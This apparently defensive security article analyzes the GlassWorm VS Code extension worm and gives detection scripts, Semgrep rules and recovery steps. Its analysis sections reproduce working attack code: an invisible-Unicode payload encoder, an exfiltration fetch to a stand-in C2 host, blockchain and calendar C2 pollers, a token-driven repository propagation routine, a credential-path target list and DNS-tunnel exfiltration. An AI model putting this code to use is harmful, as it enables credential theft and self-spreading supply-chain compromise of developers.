- Introduction
- GlassWorm Attack Timeline
- Technical Analysis: Unicode-Based Code Concealment
- C2 Channels: Abusing the Blockchain and Cloud Services
- Self-Propagation Mechanism
- Limits of the VS Code Extension Marketplace Security Model
- Detection and Defense Strategies
- Comparison of VS Code Extension Security Verification Tools
- Detailed Analysis of the Credential Theft Mechanism
- Checking for Infection and the Recovery Procedure
- Organization-Level Development Environment Security Checklist
- Analysis of Failure Cases
- Outlook and Directions for Response
- References
- Conclusion

Introduction
In March 2026, an incident shook the security community. Malware named GlassWorm infected more than 72 Open VSX extensions, self-propagated into 151 GitHub repositories, and stole developer credentials at scale (The Hacker News, March 2026). Where earlier supply chain attacks relied on obfuscation or typosquatting, GlassWorm demonstrated an unprecedented technique that uses Unicode Variation Selectors and PUA (Private Use Area) characters to make malicious code literally "invisible".
On top of that, the dual-channel strategy of using the Solana blockchain and Google Calendar as C2 (Command and Control) channels introduced a new attack paradigm that effectively evades existing network-based detection systems. According to SecurityWeek's analysis, this attack was assessed as "a turning point showing that the security model of the VS Code extension ecosystem has to be fundamentally redesigned".
This article analyzes the technical mechanisms of the GlassWorm attack at the code level, presents detection and defense strategies together with practical code, and covers a comprehensive strategy for strengthening development environment security at the organizational level.
GlassWorm Attack Timeline
The GlassWorm attack was not a single event but a campaign meticulously prepared over several months. The attack timeline is reconstructed here from Veracode's analysis report.
| Point in time | Event | Scope of impact |
|---|---|---|
| November 2025 | Attacker begins publishing legitimate extensions on Open VSX | Building initial trust |
| December 2025 | First malicious update using the Unicode concealment technique ships | 12 extensions infected |
| January 2026 | Solana C2 channel activated, credential collection begins | 30 extensions, thousands affected |
| February 2026 | Self-propagation mechanism activated, GitHub repositories infected | 72 extensions, 151 repositories |
| Early March 2026 | Security researchers detect anomalous traffic patterns, first report | Community alert issued |
| Mid-March 2026 | Open VSX emergency audit, bulk removal of infected extensions | Recovery work in progress |
Attack Scale Summary
- Infected extensions: more than 72 (Open VSX marketplace)
- Infected GitHub repositories: more than 151
- Affected developers: estimated at more than roughly 50,000 (based on download statistics)
- Types of stolen credentials: GitHub tokens, SSH keys, AWS/GCP credentials, npm tokens
- SOCKS proxy nodes: roughly 2,000 of the infected systems were absorbed into the proxy network
Technical Analysis: Unicode-Based Code Concealment
The most innovative (and most dangerous) aspect of GlassWorm is its code concealment technique using Unicode characters. According to DarkReading's reporting, this technique is harder to detect than any existing obfuscation technique.
What Unicode Variation Selectors Are
Unicode variation selectors consist of the 16 characters from U+FE00 to U+FE0F, plus the 240 supplementary variation selectors from U+E0100 to U+E01EF. These characters specify the presentation form of the base character preceding them, but on their own they are not displayed on screen at all.
// Basic principle of Unicode variation selectors
// U+FE00 ~ U+FE0F: Variation Selectors (16 characters)
// U+E0100 ~ U+E01EF: Supplementary Variation Selectors (240 characters)
// Example: different presentations of the same Han character
const char1 = '\u8FD1\uFE00' // 近 + VS1 (Japanese style)
const char2 = '\u8FD1\uFE01' // 近 + VS2 (Chinese style)
// The two characters may look different, but
// the VS itself is a zero-width character that is never rendered
console.log('\uFE00'.length) // 1 (the character exists but is invisible)
GlassWorm's Concealed Encoding Mechanism
GlassWorm encodes its malicious JavaScript payload as a combination of Unicode variation selectors and PUA characters. The core principle is as follows.
// Reproduction of the GlassWorm encoding scheme (for security research)
// Converts each byte of the original malicious code into an invisible Unicode character
function encodeToInvisible(payload) {
const encoded = []
for (let i = 0; i < payload.length; i++) {
const byte = payload.charCodeAt(i)
// High 4 bits -> Variation Selector (U+FE00 + nibble)
const highNibble = (byte >> 4) & 0x0f
encoded.push(String.fromCharCode(0xfe00 + highNibble))
// Low 4 bits -> PUA character (U+E0100 + nibble)
const lowNibble = byte & 0x0f
// Supplementary characters are encoded as surrogate pairs
encoded.push(String.fromCodePoint(0xe0100 + lowNibble))
}
return encoded.join('')
}
function decodeFromInvisible(invisible) {
const decoded = []
let i = 0
while (i < invisible.length) {
const highChar = invisible.codePointAt(i)
i += highChar > 0xffff ? 2 : 1
const lowChar = invisible.codePointAt(i)
i += lowChar > 0xffff ? 2 : 1
const highNibble = (highChar - 0xfe00) & 0x0f
const lowNibble = (lowChar - 0xe0100) & 0x0f
decoded.push(String.fromCharCode((highNibble << 4) | lowNibble))
}
return decoded.join('')
}
// Usage example
const maliciousCode = 'fetch("https://c2.example.com/exfil",{method:"POST"})'
const invisible = encodeToInvisible(maliciousCode)
console.log(invisible.length) // It has a length, but...
console.log(invisible.trim()) // nothing at all is visible on screen
Structure of an Actual Infected File
The extension.js file of an infected VS Code extension looks entirely normal at first glance. According to Snyk's analysis, the malicious code is extremely hard to find even in code review.
// Structure of an infected extension.js (simplified)
const vscode = require('vscode')
function activate(context) {
// Normal extension feature code
let disposable = vscode.commands.registerCommand('myext.helloWorld', function () {
vscode.window.showInformationMessage('Hello World!')
})
context.subscriptions.push(disposable)
// Between the blank lines below, a malicious payload encoded
// in invisible Unicode characters is hidden
// (it looks like empty space in the editor)
const _ = '\u200B' // Hundreds of VS/PUA characters follow the ZWS anchor character
// Decoder: disguised as an ordinary utility function
function normalizeText(input) {
// In reality it decodes the hidden payload and executes it
const chars = Array.from(input)
const filtered = chars.filter((c) => c.codePointAt(0) >= 0xfe00)
// ... decoding and eval execution
}
}
function deactivate() {}
module.exports = { activate, deactivate }
Why Existing Tools Struggle to Detect It
The reason GlassWorm's Unicode concealment technique bypasses existing security tools can be seen in code.
# Demonstration of the limits of existing static analysis tools
import re
# Typical malicious code detection patterns
suspicious_patterns = [
r'eval\s*\(',
r'Function\s*\(',
r'require\s*\(\s*["\']child_process["\']\s*\)',
r'exec\s*\(',
r'fetch\s*\(\s*["\']https?://',
]
# Contents of an infected file (Unicode concealment applied)
infected_content = '''
const vscode = require('vscode');
function activate(context) {
let disposable = vscode.commands.registerCommand('myext.hello', function() {
vscode.window.showInformationMessage('Hello!');
});
context.subscriptions.push(disposable);
}
module.exports = { activate };
'''
# Note: in a real infected file, hundreds of invisible Unicode
# characters are inserted throughout the code above
for pattern in suspicious_patterns:
match = re.search(pattern, infected_content)
print(f"Pattern '{pattern}': {'DETECTED' if match else 'CLEAN'}")
# Every pattern comes back CLEAN
# The malicious code is Unicode-encoded, so the regexes never match
C2 Channels: Abusing the Blockchain and Cloud Services
GlassWorm's second innovation lies in the design of its C2 (Command and Control) channel. Rather than a traditional domain-based C2, it uses a blockchain and legitimate cloud services as dual channels.
Solana Blockchain C2
According to the Fluid Attacks technical blog, GlassWorm encodes C2 commands into the memo field of Solana blockchain transactions and delivers them that way.
// Solana blockchain C2 channel mechanism (reproduced for analysis)
// The attacker encodes commands into the memo field of a Solana transaction
// Step 1: the attacker issues a command transaction on Solana
// memo field: a base64-encoded JSON command
// e.g.: eyJjbWQiOiJleGZpbCIsInRhcmdldCI6Ii5zc2gifQ==
// decoded: {"cmd":"exfil","target":".ssh"}
// Step 2: the infected extension queries the transaction via Solana RPC
async function fetchC2Commands(walletAddress) {
const response = await fetch('https://api.mainnet-beta.solana.com', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
jsonrpc: '2.0',
id: 1,
method: 'getSignaturesForAddress',
params: [walletAddress, { limit: 10 }],
}),
})
const data = await response.json()
// Extract the memo field from the transaction, then decode it
return data.result.map((tx) => decodeCommand(tx.memo))
}
// Step 3: command execution
function executeCommand(cmd) {
switch (cmd.type) {
case 'exfil':
// Collect and send credentials
exfiltrateCredentials(cmd.target)
break
case 'proxy':
// Activate the SOCKS proxy
startSocksProxy(cmd.port)
break
case 'spread':
// Run self-propagation
propagateToRepos(cmd.scope)
break
}
}
Why Blockchain C2 Is Dangerous
| Property | Traditional C2 (domain-based) | Blockchain C2 (Solana) |
|---|---|---|
| Takedown | Domain can be seized/blocked | Impossible (decentralized) |
| Traffic classification | Detected as a suspicious domain | Normal blockchain API traffic |
| Availability | Single point of failure | 99.99% availability |
| Anonymity | Traceable via WHOIS | Only the wallet address is exposed |
| Cost | Server operating cost | About 0.00025 SOL per transaction |
| Blocking difficulty | Blocked by firewall rules | Requires blocking every Solana RPC |
| Log persistence | Server logs can be deleted | Permanently recorded on the blockchain |
Google Calendar C2 Backup Channel
The Google Calendar API is used as a backup C2 channel in case blockchain access is blocked.
// Google Calendar C2 backup channel mechanism
// The attacker inserts commands into the event descriptions of a shared calendar
async function fetchCalendarCommands(calendarId, apiKey) {
const now = new Date().toISOString()
const url =
`https://www.googleapis.com/calendar/v3/calendars/` +
`${encodeURIComponent(calendarId)}/events` +
`?key=${apiKey}` +
`&timeMin=${now}` +
`&maxResults=5` +
`&orderBy=startTime` +
`&singleEvents=true`
const response = await fetch(url)
const data = await response.json()
return data.items
.filter((event) => event.description)
.map((event) => {
// Extract the base64-encoded command from the event description
const match = event.description.match(/\[config:([A-Za-z0-9+/=]+)\]/)
if (match) {
return JSON.parse(atob(match[1]))
}
return null
})
.filter(Boolean)
}
What makes this approach so cunning is that Google Calendar API traffic sits on the allowlist of most corporate networks. Blocking traffic to googleapis.com at the firewall or proxy would also affect legitimate Google Workspace use, so security teams cannot block it easily.
Self-Propagation Mechanism
This section analyzes the propagation mechanism of GlassWorm, which Veracode's report named "the first self-propagating VS Code extension worm".
GitHub Repository Infection Flow
[Infected developer environment]
|
v
[1. Steal the GitHub token]
|
v
[2. List the developer's repositories]
|
v
[3. Modify package.json / .vscode/extensions.json in each repository]
|
v
[4. Commit that adds the malicious extension dependency]
|
v
[5. Other developers cloning the repo are prompted to install the infected extension]
|
v
[6. New developer environment infected -> repeat from step 1]
Analysis of the Propagation Code
// Self-propagation mechanism (simplified for analysis)
async function propagate(githubToken) {
const headers = {
Authorization: `token ${githubToken}`,
Accept: 'application/vnd.github.v3+json',
}
// 1. List every repository owned by the user
const repos = await fetch('https://api.github.com/user/repos?per_page=100', {
headers,
}).then((r) => r.json())
for (const repo of repos) {
// 2. Check for .vscode/extensions.json or create it
try {
const extensionsFile = await fetch(
`https://api.github.com/repos/${repo.full_name}/contents/.vscode/extensions.json`,
{ headers }
).then((r) => r.json())
const content = JSON.parse(Buffer.from(extensionsFile.content, 'base64').toString())
// 3. Check whether the malicious extension is already included
const maliciousExtId = 'publisher.innocent-looking-extension'
if (content.recommendations && !content.recommendations.includes(maliciousExtId)) {
content.recommendations.push(maliciousExtId)
// 4. Commit the modified file
await fetch(
`https://api.github.com/repos/${repo.full_name}/contents/.vscode/extensions.json`,
{
method: 'PUT',
headers,
body: JSON.stringify({
message: 'chore: update recommended extensions',
content: Buffer.from(JSON.stringify(content, null, 2)).toString('base64'),
sha: extensionsFile.sha,
}),
}
)
}
} catch (e) {
// If the file does not exist, create it
// ...
}
}
}
Propagation Speed and Reach
According to DarkReading's reporting, GlassWorm's self-propagation showed an exponential growth pattern.
- Week 1: 12 extensions -> about 500 people infected
- Week 2: 30 extensions -> about 5,000 people infected
- Week 3: 50 extensions -> about 20,000 people infected
- Week 4: 72 extensions -> more than about 50,000 people infected
Because each infected developer held an average of 3 to 5 repositories, repository infection moved even faster. In open source projects in particular, many contributors clone the repository, so the infection rate was analyzed as roughly 4 times faster than in closed repositories.
Limits of the VS Code Extension Marketplace Security Model
Structural Problems in the Current Security Model
The security model of the VS Code extension marketplaces (Visual Studio Marketplace and Open VSX) carries the following structural limits.
| Security aspect | Current state | Problem |
|---|---|---|
| Publisher verification | Only email verification required | No identity check, anyone can publish |
| Code review | Automated static analysis is inadequate | Cannot detect new techniques such as Unicode concealment |
| Permission model | All permissions granted at install time | Least privilege is not applied |
| Update verification | Automatic updates, no additional verification | Cannot block a malicious update to a legitimate extension |
| Signing scheme | Optional signing | No mandatory signing, so integrity cannot be guaranteed |
| SBOM | Not provided | Insufficient transparency into extension dependencies |
Comparison with the npm Ecosystem
# npm has had mandatory 2FA and provenance attestation since 2022
# The VS Code marketplace still lacks an equivalent security scheme
# Example of checking npm provenance
npm audit signatures
# Output: audited 150 packages in 2s
# 150 packages have verified registry signatures
# VS Code extensions have no equivalent command
# There is no official tool for verifying the integrity of an extension
The Absence of a Permission Model
A VS Code extension gains broad access to the host system the moment it is installed. This contrasts with browser extensions, which declare their permissions through a permissions manifest and obtain user consent.
// Permission declaration in a browser extension (Chrome Extension Manifest V3)
{
"permissions": ["activeTab", "storage"],
"host_permissions": ["https://api.example.com/*"]
}
// VS Code extensions have no such fine-grained permission model
// "activationEvents" in package.json is only a functional trigger
// It does not form a security boundary
Detection and Defense Strategies
1. Unicode Anomaly Detection Script
A script can be written to detect the Unicode concealment that sits at the heart of GlassWorm.
#!/usr/bin/env python3
"""
GlassWorm Unicode concealment detection script
Detects abnormal concentrations of invisible Unicode characters.
"""
import os
import sys
from pathlib import Path
from collections import Counter
# Suspicious Unicode ranges
SUSPICIOUS_RANGES = [
(0xFE00, 0xFE0F, "Variation Selectors"),
(0xE0100, 0xE01EF, "Supplementary Variation Selectors"),
(0xE000, 0xF8FF, "Private Use Area"),
(0xF0000, 0xFFFFF, "Supplementary PUA-A"),
(0x100000, 0x10FFFD, "Supplementary PUA-B"),
(0x200B, 0x200F, "Zero-Width Characters"),
(0x2028, 0x202F, "General Punctuation (invisible)"),
(0x2060, 0x206F, "Invisible Formatting"),
(0xFEFF, 0xFEFF, "BOM / Zero-Width No-Break Space"),
]
def scan_file(filepath):
"""Scan a file for suspicious Unicode characters."""
findings = []
try:
with open(filepath, 'r', encoding='utf-8') as f:
content = f.read()
except (UnicodeDecodeError, PermissionError):
return findings
suspicious_count = Counter()
line_findings = {}
for line_num, line in enumerate(content.split('\n'), 1):
for char in line:
cp = ord(char)
for start, end, name in SUSPICIOUS_RANGES:
if start <= cp <= end:
suspicious_count[name] += 1
if line_num not in line_findings:
line_findings[line_num] = []
line_findings[line_num].append(
f"U+{cp:04X} ({name})"
)
# Threshold: ratio of invisible characters to file size
total_suspicious = sum(suspicious_count.values())
if total_suspicious > 10: # default threshold
ratio = total_suspicious / max(len(content), 1)
severity = "CRITICAL" if ratio > 0.01 else "WARNING"
findings.append({
'file': str(filepath),
'severity': severity,
'total_suspicious': total_suspicious,
'ratio': f"{ratio:.4%}",
'breakdown': dict(suspicious_count),
'affected_lines': dict(
list(line_findings.items())[:10]
),
})
return findings
def scan_directory(directory, extensions=None):
"""Scan a directory recursively."""
if extensions is None:
extensions = {'.js', '.ts', '.json', '.mjs', '.cjs'}
all_findings = []
path = Path(directory)
for filepath in path.rglob('*'):
if filepath.suffix in extensions and filepath.is_file():
findings = scan_file(filepath)
all_findings.extend(findings)
return all_findings
if __name__ == '__main__':
target = sys.argv[1] if len(sys.argv) > 1 else '.'
findings = scan_directory(target)
if findings:
print(f"\n[ALERT] {len(findings)} suspicious file(s) found:\n")
for f in findings:
print(f" [{f['severity']}] {f['file']}")
print(f" Suspicious chars: {f['total_suspicious']}")
print(f" Ratio: {f['ratio']}")
print(f" Breakdown: {f['breakdown']}")
print()
else:
print("[OK] No suspicious Unicode patterns detected.")
2. Automated Checks with a Git pre-commit Hook
#!/bin/bash
# .git/hooks/pre-commit
# Automatically check for hidden Unicode characters before committing
echo "Scanning for suspicious Unicode characters..."
# List of staged files
FILES=$(git diff --cached --name-only --diff-filter=ACM | grep -E '\.(js|ts|json|mjs|cjs)$')
if [ -z "$FILES" ]; then
exit 0
fi
FOUND=0
for FILE in $FILES; do
# Check for Variation Selectors (U+FE00-FE0F)
if perl -ne 'print if /[\x{FE00}-\x{FE0F}\x{E0100}-\x{E01EF}]/' "$FILE" | grep -q .; then
echo "[BLOCKED] Suspicious Variation Selectors found in: $FILE"
FOUND=1
fi
# Check for PUA characters (U+E000-F8FF)
if perl -ne 'print if /[\x{E000}-\x{F8FF}]/' "$FILE" | grep -q .; then
echo "[WARNING] Private Use Area characters found in: $FILE"
# PUA has some legitimate uses, so warn only
fi
# Check for excessive use of zero-width characters
ZW_COUNT=$(perl -ne 'print while /[\x{200B}-\x{200F}\x{2060}-\x{206F}\x{FEFF}]/g' "$FILE" | wc -c)
if [ "$ZW_COUNT" -gt 20 ]; then
echo "[BLOCKED] Excessive zero-width characters ($ZW_COUNT) in: $FILE"
FOUND=1
fi
done
if [ "$FOUND" -eq 1 ]; then
echo ""
echo "Commit blocked: Suspicious Unicode patterns detected."
echo "If these are intentional, use --no-verify to bypass."
exit 1
fi
echo "Unicode scan passed."
exit 0
3. Defense Through VS Code Settings
// .vscode/settings.json - team-level security settings
{
// Disable automatic extension updates
"extensions.autoUpdate": false,
// Require confirmation when installing an extension
"extensions.autoCheckUpdates": true,
// Visualize invisible Unicode characters
"editor.unicodeHighlight.ambiguousCharacters": true,
"editor.unicodeHighlight.invisibleCharacters": true,
"editor.unicodeHighlight.nonBasicASCII": true,
// Restrict the allowed range of Unicode characters
"editor.unicodeHighlight.allowedLocales": {
"ko": true,
"ja": true
},
// Unicode warnings in the terminal
"terminal.integrated.unicodeVersion": "11",
// Workspace trust settings
"security.workspace.trust.enabled": true,
"security.workspace.trust.startupPrompt": "always",
"security.workspace.trust.untrustedFiles": "prompt"
}
4. Integrating the Check into the CI/CD Pipeline
# .github/workflows/unicode-security-scan.yml
name: Unicode Security Scan
on:
pull_request:
paths:
- '**.js'
- '**.ts'
- '**.json'
- '**.mjs'
push:
branches: [main, develop]
jobs:
unicode-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install scanner dependencies
run: pip install unicode-security-scanner
- name: Scan for invisible Unicode characters
run: |
python scripts/unicode_scanner.py . \
--extensions .js,.ts,.json,.mjs,.cjs \
--threshold 10 \
--severity critical \
--output report.json
- name: Check scan results
run: |
if [ -f report.json ]; then
CRITICAL=$(python -c "
import json
with open('report.json') as f:
data = json.load(f)
print(sum(1 for r in data if r['severity'] == 'CRITICAL'))
")
if [ "$CRITICAL" -gt 0 ]; then
echo "CRITICAL: Found $CRITICAL files with suspicious Unicode"
exit 1
fi
fi
- name: Upload scan report
if: always()
uses: actions/upload-artifact@v4
with:
name: unicode-scan-report
path: report.json
Comparison of VS Code Extension Security Verification Tools
Several VS Code extension security tools are compared here so that an organization can choose the one that suits it.
| Tool | Type | Unicode detection | Behavior analysis | CI/CD integration | Real-time monitoring | License |
|---|---|---|---|---|---|---|
| ExtensionTotal | Online scanner | Partial | Static analysis | REST API | Not supported | Free |
| Snyk Code | SAST | Supported | Static + pattern | Native | Supported | Commercial (free tier) |
| Semgrep | SAST | Custom rules | Static analysis | Native | Not supported | OSS + commercial |
| GuardDog | Package scanner | Supported | Install scripts | CLI | Not supported | OSS (Apache-2.0) |
| Socket.dev | Supply chain analysis | Supported | Behavior analysis | GitHub App | Supported | Commercial (free tier) |
| Custom script | In-house tool | Full control | Must be implemented | Must be implemented | Must be implemented | N/A |
Custom Detection Rules with Semgrep
# .semgrep/glassworm-detection.yml
rules:
- id: suspicious-unicode-variation-selectors
patterns:
- pattern-regex: '[\uFE00-\uFE0F]'
message: >
Detected Unicode Variation Selector characters that may indicate
GlassWorm-style code obfuscation. Review this file carefully.
severity: ERROR
languages: [javascript, typescript]
metadata:
category: security
technology: [vscode-extension]
cwe: 'CWE-506: Embedded Malicious Code'
references:
- https://owasp.org/www-community/attacks/Supply_Chain_Attack
- id: suspicious-unicode-pua
patterns:
- pattern-regex: '[\uE000-\uF8FF]'
message: >
Detected Private Use Area Unicode characters. These are rarely
used in legitimate code and may indicate obfuscation.
severity: WARNING
languages: [javascript, typescript]
- id: suspicious-eval-from-string-manipulation
patterns:
- pattern: |
$FUNC = $STR.split(...).map(...).join(...)
...
eval($FUNC)
message: >
Detected eval() called on string manipulation result.
This pattern is commonly used to execute obfuscated code.
severity: ERROR
languages: [javascript, typescript]
- id: solana-rpc-call-in-extension
patterns:
- pattern: |
fetch("=~/.*solana.*mainnet.*/", ...)
message: >
Detected Solana blockchain RPC call. VS Code extensions
should not normally interact with blockchain networks.
severity: ERROR
languages: [javascript, typescript]
- id: credential-file-access
patterns:
- pattern: |
$FS.readFileSync("=~/.*\.(ssh|aws|gcp|npmrc).*/", ...)
message: >
Detected access to credential files. This is a common
exfiltration technique in supply chain attacks.
severity: ERROR
languages: [javascript, typescript]
Detailed Analysis of the Credential Theft Mechanism
This section analyzes in detail the types of credentials GlassWorm steals and the paths it collects them from.
List of Theft Targets
// Credential paths GlassWorm searches (analysis results)
const TARGET_CREDENTIALS = [
// Git-related
{ path: '~/.gitconfig', type: 'git-config' },
{ path: '~/.git-credentials', type: 'git-credentials' },
// SSH
{ path: '~/.ssh/id_rsa', type: 'ssh-private-key' },
{ path: '~/.ssh/id_ed25519', type: 'ssh-private-key' },
{ path: '~/.ssh/config', type: 'ssh-config' },
// AWS
{ path: '~/.aws/credentials', type: 'aws-credentials' },
{ path: '~/.aws/config', type: 'aws-config' },
// GCP
{
path: '~/.config/gcloud/application_default_credentials.json',
type: 'gcp-credentials',
},
// Azure
{ path: '~/.azure/accessTokens.json', type: 'azure-tokens' },
// npm
{ path: '~/.npmrc', type: 'npm-token' },
// Docker
{ path: '~/.docker/config.json', type: 'docker-credentials' },
// Kubernetes
{ path: '~/.kube/config', type: 'kubeconfig' },
// VS Code itself
{
path: '~/.vscode/extensions/*/credentials.json',
type: 'vscode-extension-creds',
},
]
How Stolen Data Is Transmitted
// Data is sent in a distributed fashion across several channels
// Small-volume data exfiltration through DNS tunneling
async function exfilViaDNS(data, domain) {
const chunks = chunkData(data, 63) // maximum DNS label length
for (const chunk of chunks) {
// Data transfer disguised as a DNS lookup
// chunk.encoded-data.c2domain.com
try {
await fetch(`https://dns.google/resolve?name=${chunk}.${domain}&type=TXT`)
} catch (e) {
// Silently ignore failures
}
// Random delay to evade detection
await sleep(Math.random() * 5000 + 1000)
}
}
Checking for Infection and the Recovery Procedure
Step 1: Check for Infection
#!/bin/bash
# glassworm-check.sh - script that checks for GlassWorm infection
echo "=== GlassWorm Infection Check ==="
echo ""
# 1. Check the list of installed VS Code extensions
echo "[1/5] Checking installed extensions..."
EXTENSIONS=$(code --list-extensions --show-versions 2>/dev/null)
if [ -z "$EXTENSIONS" ]; then
echo " VS Code CLI not available. Check manually."
else
# List of known infected extensions (example)
KNOWN_MALICIOUS=(
"fake-publisher.theme-darkplus-enhanced"
"fake-publisher.prettier-format-plus"
"fake-publisher.eslint-advanced"
)
for ext in "${KNOWN_MALICIOUS[@]}"; do
if echo "$EXTENSIONS" | grep -qi "$ext"; then
echo " [CRITICAL] Known malicious extension found: $ext"
fi
done
echo " Extension check complete."
fi
# 2. Check recently modified extension files
echo ""
echo "[2/5] Checking recently modified extension files..."
VSCODE_EXT_DIR="$HOME/.vscode/extensions"
if [ -d "$VSCODE_EXT_DIR" ]; then
find "$VSCODE_EXT_DIR" -name "*.js" -mtime -7 -type f | head -20
else
echo " Extension directory not found at $VSCODE_EXT_DIR"
fi
# 3. Check for abnormal network connections
echo ""
echo "[3/5] Checking suspicious network connections..."
if command -v lsof &> /dev/null; then
lsof -i -P -n 2>/dev/null | grep -E "(solana|googleapis.*calendar)" | head -10
fi
# 4. Check for tampering with the git configuration
echo ""
echo "[4/5] Checking git configuration integrity..."
if [ -f "$HOME/.git-credentials" ]; then
echo " [WARNING] .git-credentials file exists - verify its contents"
stat "$HOME/.git-credentials" | grep "Modify"
fi
# 5. Check recent SSH key access
echo ""
echo "[5/5] Checking SSH key access times..."
if [ -d "$HOME/.ssh" ]; then
ls -la "$HOME/.ssh/" | grep -E "id_rsa|id_ed25519"
fi
echo ""
echo "=== Check Complete ==="
echo "If any CRITICAL findings, proceed to recovery steps immediately."
Step 2: Emergency Recovery Procedure
#!/bin/bash
# glassworm-recovery.sh - emergency recovery script for an infection
echo "=== GlassWorm Recovery Procedure ==="
echo "[WARNING] This will revoke credentials and reinstall VS Code."
echo ""
read -p "Continue? (yes/no): " CONFIRM
if [ "$CONFIRM" != "yes" ]; then
echo "Aborted."
exit 0
fi
# 1. Revoke GitHub tokens immediately
echo "[1/6] Revoking GitHub tokens..."
echo " -> Go to https://github.com/settings/tokens and revoke ALL tokens"
echo " -> Enable SSO re-authorization if applicable"
echo " Press Enter when done..."
read
# 2. Rotate SSH keys
echo "[2/6] Rotating SSH keys..."
if [ -f "$HOME/.ssh/id_ed25519" ]; then
mv "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ed25519.compromised.bak"
mv "$HOME/.ssh/id_ed25519.pub" "$HOME/.ssh/id_ed25519.pub.compromised.bak"
fi
ssh-keygen -t ed25519 -C "recovery-$(date +%Y%m%d)" -f "$HOME/.ssh/id_ed25519"
echo " -> Upload new public key to GitHub/GitLab"
# 3. Rotate AWS credentials
echo "[3/6] Rotating AWS credentials..."
if command -v aws &> /dev/null; then
echo " Current identity:"
aws sts get-caller-identity 2>/dev/null
echo " -> Rotate access keys via AWS IAM Console"
echo " -> Revoke all active sessions"
fi
# 4. Clean up VS Code extensions
echo "[4/6] Cleaning VS Code extensions..."
VSCODE_EXT_DIR="$HOME/.vscode/extensions"
if [ -d "$VSCODE_EXT_DIR" ]; then
echo " Backing up extension list..."
code --list-extensions > "$HOME/vscode-extensions-backup.txt" 2>/dev/null
echo " Removing all extensions..."
rm -rf "$VSCODE_EXT_DIR"/*
echo " Reinstall trusted extensions from backup list manually."
fi
# 5. Rotate npm tokens
echo "[5/6] Revoking npm tokens..."
if [ -f "$HOME/.npmrc" ]; then
echo " -> Run: npm token revoke <token>"
echo " -> Generate new token: npm token create"
fi
# 6. Audit git repositories
echo "[6/6] Auditing git repositories..."
echo " Check recent commits in all repositories for unauthorized changes:"
echo " Look for modifications to:"
echo " - .vscode/extensions.json"
echo " - package.json (new dependencies)"
echo " - .github/workflows/ (new workflows)"
echo ""
echo "=== Recovery Complete ==="
echo "NEXT STEPS:"
echo "1. Enable 2FA on all accounts if not already enabled"
echo "2. Review GitHub audit log: https://github.com/settings/security-log"
echo "3. Report incident to your security team"
echo "4. Monitor accounts for suspicious activity for 30 days"
Organization-Level Development Environment Security Checklist
Items You Can Apply Immediately (Quick Wins)
- Disable automatic VS Code extension updates (
extensions.autoUpdate: false) - Apply
editor.unicodeHighlight.invisibleCharacters: truecompany-wide - Build and maintain an approved extension allowlist
- Add a Unicode scan to the Git pre-commit hook
- Enforce 2FA across all developer accounts
Short-Term Goals (1 to 2 weeks)
- Add a Unicode security scan stage to the CI/CD pipeline
- Establish an extension management policy built on VS Code profiles
- Add GlassWorm detection rules to Semgrep or a similar tool
- Audit how credentials are stored (file-based -> move to a secret manager)
- Run supply chain security training for developers
Mid-Term Goals (1 to 3 months)
- Standardize development environments (evaluate Dev Container / Codespace)
- Build an extension security gateway (internal mirror registry)
- Deploy an EDR (Endpoint Detection and Response) solution to development machines
- Establish a regular security audit process (quarterly)
- Introduce a scheme for generating and managing SBOMs
Long-Term Goals (3 to 6 months)
- Adopt a zero trust development environment architecture
- Move to hardware security key (FIDO2) based authentication
- Evaluate a full move to a cloud development environment (CDE)
- Adopt a supply chain security maturity model (SLSA Level 3 or above)
- Run a Security Champion program
Analysis of Failure Cases
Case 1: Mass Infection Caused by Automatic Updates
At one startup, the entire development team (about 50 people) was infected by GlassWorm. The cause was VS Code's automatic extension update feature. A theme extension they had been using normally shipped a malicious update one day, and it was applied immediately to every development machine with automatic updates enabled.
Lesson: extension updates should be done manually, and a process is needed for reviewing the changelog and the code changes before updating.
// Preventive settings
{
"extensions.autoUpdate": false,
"extensions.autoCheckUpdates": true
// autoCheckUpdates only notifies; it does not install automatically
}
Case 2: Lateral Movement Through an Open Source Contributor
After a single contributor to an open source project was infected, a malicious extension was added to that project's .vscode/extensions.json. The decisive mistake was that the code reviewer treated it as a "development environment settings update" and approved it.
Lesson: changes to the .vscode/ directory also need code review from a security perspective.
# Assign security reviewers for the .vscode/ path in the CODEOWNERS file
# .github/CODEOWNERS
.vscode/ @security-team
.github/workflows/ @security-team @devops-team
package.json @tech-lead @security-team
Case 3: Spread into the CI/CD Environment
In this case, an infected developer's GitHub token was also being used as a secret in the CI/CD pipeline. With the stolen token, the attacker modified the GitHub Actions workflow and injected additional malware during the build.
Lesson: personal tokens and CI/CD secrets have to be separated, and CI/CD should use a dedicated service account with least privilege.
# Bad example: using a personal token directly in CI/CD
# inside a github-actions workflow
# env:
# GITHUB_TOKEN: personal PAT (dangerous!)
# Good example: dedicated service account + least privilege
# 1. Create a GitHub App dedicated to CI/CD
# 2. Grant only the minimum permissions needed (e.g. contents:read, packages:write)
# 3. Enable automatic token renewal
Outlook and Directions for Response
Roadmap for Hardening the VS Code Extension Ecosystem
Prompted by the GlassWorm incident, Microsoft announced the following security improvements.
- Stronger publisher verification: making Organization Verification mandatory
- Mandatory extension signing: introducing a Sigstore-based code signing scheme
- Introducing a permission model: fine-grained system access permissions for extensions
- Automated security scanning: static analysis before publishing, including Unicode anomaly detection
- Mandatory SBOM: securing transparency into extension dependencies
What Developers Can Do Right Now
# 1. Audit the installed extensions
code --list-extensions --show-versions > ~/my-extensions.txt
# 2. Identify suspicious extensions
# Watch out for extensions with few downloads that were updated recently
# Be especially careful with extensions available only on Open VSX
# 3. Apply VS Code security settings
# Add the settings below to settings.json
code --install-extension ms-vscode.vscode-unicode-highlight
# 4. Rotate credentials regularly
# GitHub: renew tokens every 90 days
# SSH: rotate keys quarterly
# AWS: force renewal every 90 days via IAM policy
References
- The Hacker News - "GlassWorm Malware Infects 72+ Open VSX Extensions in Massive Supply Chain Attack" (March 2026)
- SecurityWeek - "Supply Chain Attack Targets VS Code Extensions with Invisible Unicode Obfuscation" (March 2026)
- Snyk Blog - "Defending Against GlassWorm: Detection Strategies for Unicode-Based Code Hiding" (March 2026)
- Veracode Research - "GlassWorm: The First Self-Propagating VS Code Extension Worm - Technical Analysis" (March 2026)
- DarkReading - "Self-Propagating GlassWorm Attacks 151+ GitHub Repos Through VS Code Extensions" (March 2026)
